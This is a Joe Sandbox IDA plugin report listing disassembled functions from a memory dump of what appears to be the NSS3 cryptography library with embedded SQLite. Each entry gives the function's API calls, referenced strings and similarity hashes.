Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction ID: 542c96c9b8b8a6a6398a678c1cf8716156fc3b1d7e938fcd7c3dfba8fa4d25ff
Opcode Fuzzy Hash: deebd93e11272052c481ef51a14848e1538c3490c83d3ea2076653ebc3e53096
Instruction Fuzzy Hash: 41C16DB1D002199BEB21CF24CC44BEAB7B8EB09308F0085E5E919B6651E7319E85CFA5

Function 6C5EAEC0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB090
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB0A2
CloseHandle.KERNEL32(?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?,?,?), ref: 6C5EB100
sqlite3_free.NSS3(?,?,00000002,?,6C70CF46,?,6C5DCDBD,?,6C70BF31,?,?,?,?,?,?,?), ref: 6C5EB115
sqlite3_free.NSS3(?,?,?,?,?,?,6C70CF46,?,6C5DCDBD,?,6C70BF31), ref: 6C5EB12D

Part of subcall function 6C5D9EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6C5EC6FD,?,?,?,?,6C63F965,00000000), ref: 6C5D9F0E
Part of subcall function 6C5D9EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6C63F965,00000000), ref: 6C5D9F5D

Strings

`vl, xrefs: 6C5EB0DF

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID: `vl
API String ID: 3155957115-2789490299
Opcode ID: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction ID: 1f079da992d96c6292bd472e2e837e70d05ca1491dd5efe13bca217fb5519648
Opcode Fuzzy Hash: ddbe366c2cbb9b2ea160f4e1a5ccc63e3dbbc472375d02a24c38e2dd1fc03ccf
Instruction Fuzzy Hash: F591CEB4A043068FDB04DF79DC84A6BBBB1FF49309F244A2DE46697A50EB31E840CB55

Function 6C680EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6C680F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C680FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6C681006
PK11_FreeSymKey.NSS3(?), ref: 6C68101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C681033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C68103F
PK11_FreeSymKey.NSS3(00000000), ref: 6C681048
memcpy.VCRUNTIME140(?,?,?), ref: 6C68108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6C6810BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6C6810D6
memcpy.VCRUNTIME140(?,?,?), ref: 6C68112E

Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815B8
Part of subcall function 6C681570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6C6808C4,?,?), ref: 6C6815C1
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C68162E
Part of subcall function 6C681570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C681637

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction ID: 95a798cc19985e93efad62055b12a8c0e60b08f783d87ea23fae4b9588c79c78
Opcode Fuzzy Hash: 1354f8e01301963eb30da1650430bc72c0cf8eb80e1e7f2137106df36f18db51
Instruction Fuzzy Hash: 9971D2B1E012058FDB00CFA5CD84AAAB7F4BF44318F14862DE92997B11EB71D945CBA9

Function 6C6A1CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A1F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6C6A2166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6C6A23B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C6A241C

Strings

serial, xrefs: 6C6A22A2
manufacturer, xrefs: 6C6A2179
model, xrefs: 6C6A23CB, 6C6A23EC
token, xrefs: 6C6A1F2C

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction ID: 129f8d7a90af96d4669e3ad1971f843630a0ff160582bb01c20f31e91ab1252c
Opcode Fuzzy Hash: c75229a968ee1baa67743178ed27d22881e49595df364184de0840e7f16c2251
Instruction Fuzzy Hash: DA02E3A2D4C7C85EF73186B2C44C7D77BE09B46328F4C166DCADE46A83C3A85D4A8359

Function 6C5E0FE0 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6C5E103E
EnterCriticalSection.KERNEL32(?), ref: 6C5E1139
LeaveCriticalSection.KERNEL32(?), ref: 6C5E1190
sqlite3_free.NSS3(00000000), ref: 6C5E1227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6C5E126E
sqlite3_free.NSS3(?), ref: 6C5E127F

Strings

Pvl, xrefs: 6C5E109E
winAccess, xrefs: 6C5E129B
delayed %dms for lock/sharing conflict at line %d, xrefs: 6C5E1267

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: Pvl$delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1044067139
Opcode ID: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction ID: 6ccc7dfa9a04c45e61262b8c38f5000a6acb006276e5f16995ce397449083123
Opcode Fuzzy Hash: 525564954e9bd7f03e2deb53aa52a786e5f8bf63f95a7dfdedc92532454f0f06
Instruction Fuzzy Hash: BB711B327052059BEB08DF65EC99E6F3376FB8A314F140639E91587A81DB30D901C796

Function 6C6A6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C3F

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C60
PR_ExplodeTime.NSS3(00000000,6C651C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C651C6F,00000000,00000004,?,?), ref: 6C6A6C94

Strings

gfff, xrefs: 6C6A6D66
gfff, xrefs: 6C6A6D9C
gfff, xrefs: 6C6A6CFD
gfff, xrefs: 6C6A6CF5
gfff, xrefs: 6C6A6D30

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction ID: bfa5ba7393045762ceca7a11ea0f79cdad9d0bbaec1f4d2ca55331b14f21ce55
Opcode Fuzzy Hash: aba68cd10a948fc1c383e9bae302edfacc66bc076a77ce3886d841fe09aeea80
Instruction Fuzzy Hash: 2D513B72B016494FC718CDADDC526DEBBDAABA4310F48C23AE442DB781D678E907C751

Function 6C720F20 Relevance: 15.4, APIs: 3, Strings: 7, Instructions: 394stringCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,-00000001), ref: 6C721027
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C7210B2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C721353

Strings

-- , xrefs: 6C720FF5
'%.*q', xrefs: 6C721217, 6C721292
NULL, xrefs: 6C72119E
zeroblob(%d), xrefs: 6C721223
%lld, xrefs: 6C72114B
%02x, xrefs: 6C7212F6
$, xrefs: 6C7212A0

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcpy$strlen
String ID: $$%02x$%lld$'%.*q'$-- $NULL$zeroblob(%d)
API String ID: 2619041689-2155869073
Opcode ID: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction ID: 8d4b4602e6f5adf40dce6319e0dd2786b8ed0010a3d3955245da7eeca769723a
Opcode Fuzzy Hash: e7f86b1858f55d24d3e0a4d5795d4c769c4e9257d7c6f0858bf0e255bfac255a
Instruction Fuzzy Hash: A4E1AF71A083809FD714CF18C580A6BBBF2BF86348F14896DF98587B51E776E949CB42

Function 6C728FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C728FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7290DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C72915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7291C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C729209

Strings

UUUU, xrefs: 6C729255
3333, xrefs: 6C72925E

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction ID: ca43001c1552c6310601ab2ec2131d25f488031a765146947e29eabf5207f86f
Opcode Fuzzy Hash: 27e5d9f35e966f13c94544c034b79f3a96c400b6a6a0daabe985fd4b5f1c65fa
Instruction Fuzzy Hash: EAA1AF72E001199BDB18CB69CD94BAEB7B5BF48324F0D4179E905A7741E73AEC41CBA0

Function 6C6BBD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6C6BBD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6C6BBD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6C6BBDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6C6BBDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6C6BBDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6C6BBE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6C6BBE1E

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction ID: 684709cdf9758d2a7de0aa46fab8fd89bce89715d029ac9f91987e134704ab9a
Opcode Fuzzy Hash: 6ae4941ee0a59ce149e0c278e3d5340babb9381ae6f459fac285b05702f46cc3
Instruction Fuzzy Hash: 6A21E1B6E0028957FB1096529D82B8F36B49BD278DF080028F916BE651E330D43983AE

Function 6C768D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C7B14E4,6C71CC70), ref: 6C768D47
PR_GetCurrentThread.NSS3 ref: 6C768D98

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C768E7B
htons.WSOCK32(?), ref: 6C768EDB
PR_GetCurrentThread.NSS3 ref: 6C768F99
PR_GetCurrentThread.NSS3 ref: 6C76910A

Strings

%u.%u.%u.%u, xrefs: 6C768E74

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction ID: a688033dd2a9626c58d3a350f83fa3dd53b4546242942edabbf2c0b38265c32d
Opcode Fuzzy Hash: 75ece2b55c2a005b5f29418a1df9ed47630a8b9911767235f65f295ad47b7d07
Instruction Fuzzy Hash: C502BA319052518FDB18CF1AC6687AABBB2EF53354F29826ACC915FF92C331D949C790

Function 6C5EEFB0 Relevance: 12.1, Strings: 9, Instructions: 815COMMON

Download Yara Rule

Strings

table, xrefs: 6C5EF05C, 6C5EFABC, 6C5EFAC7
there is already an index named %s, xrefs: 6C5EF9D7
authorizer malfunction, xrefs: 6C5EF95C, 6C5EF9BF, 6C5EFA5E, 6C5EFA8B
temporary table name must be unqualified, xrefs: 6C5EF734
%s %T already exists, xrefs: 6C5EFAC8
sqlite_master, xrefs: 6C5EF0AB, 6C5EF2DA, 6C5EF757, 6C5EF93E
view, xrefs: 6C5EF061, 6C5EF071, 6C5EFAB7
sqlite_temp_master, xrefs: 6C5EF0A6, 6C5EF2D5
not authorized, xrefs: 6C5EF957, 6C5EF9BA

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: %s %T already exists$authorizer malfunction$not authorized$sqlite_master$sqlite_temp_master$table$temporary table name must be unqualified$there is already an index named %s$view
API String ID: 3168844106-1126224928
Opcode ID: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction ID: ba198bc7c99a3ec51f1c9b15177747398e5c32bc2b642da92c7e81c1bf2448bb
Opcode Fuzzy Hash: e9093df05d8465b220e44f2272e121f4dffe5c0cbb086d4787ef28cea9eb10aa
Instruction Fuzzy Hash: A672A170E04205CFDB14CF68D884BA9BBF1BF8D308F1582A9D9159BB52DB75E845CB90

Function 6C709C40 Relevance: 11.1, APIs: 3, Strings: 3, Instructions: 565COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014960,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A035
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000149AD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C70A114

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C70A01F, 6C70A0E4, 6C70A0FE
%s at line %d of [%.10s], xrefs: 6C70A02E, 6C70A10D
database corruption, xrefs: 6C70A029, 6C70A108

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log$memcmp
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 717804543-598938438
Opcode ID: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction ID: 43ffb86fb7cbbf5141caa6ef2098450fc71ef5129500bb174d74d3212fea0419
Opcode Fuzzy Hash: 747237dc559f40ec3941e525ad7918c223b52519af00ca98d711597c5593ab93
Instruction Fuzzy Hash: 6822ACB17083419FC704CF29C69062ABBE1BFDA354F148A3DE9DA97A52D731E845CB42

Function 6C729D90 Relevance: 9.0, APIs: 2, Strings: 3, Instructions: 237COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,6C5E8637,?,?), ref: 6C729E88
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011166,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,?,?,?,?,?,?,?,?,?,6C5E8637), ref: 6C729ED6

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C729EC0
%s at line %d of [%.10s], xrefs: 6C729ECF
database corruption, xrefs: 6C729ECA

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 912837312-598938438
Opcode ID: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction ID: 93e6624f903cc5810b0fdf43b0a3d97c0aee3162a67fb9604e7dc27adca02f3d
Opcode Fuzzy Hash: 09b5540a34350d3c5198fe76ee9ff6739680b954e54a1ceef1e05f6aae4bcf43
Instruction Fuzzy Hash: 0E81A071F012098FCB14CFAACA84ADEB3F6EF58304B188569E815ABB51E734ED45CB50

Function 6C737F20 Relevance: 7.7, APIs: 2, Strings: 2, Instructions: 713COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(00000000,00000000,?), ref: 6C7381BC

Strings

BINARY, xrefs: 6C738126
out of memory, xrefs: 6C73835B

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
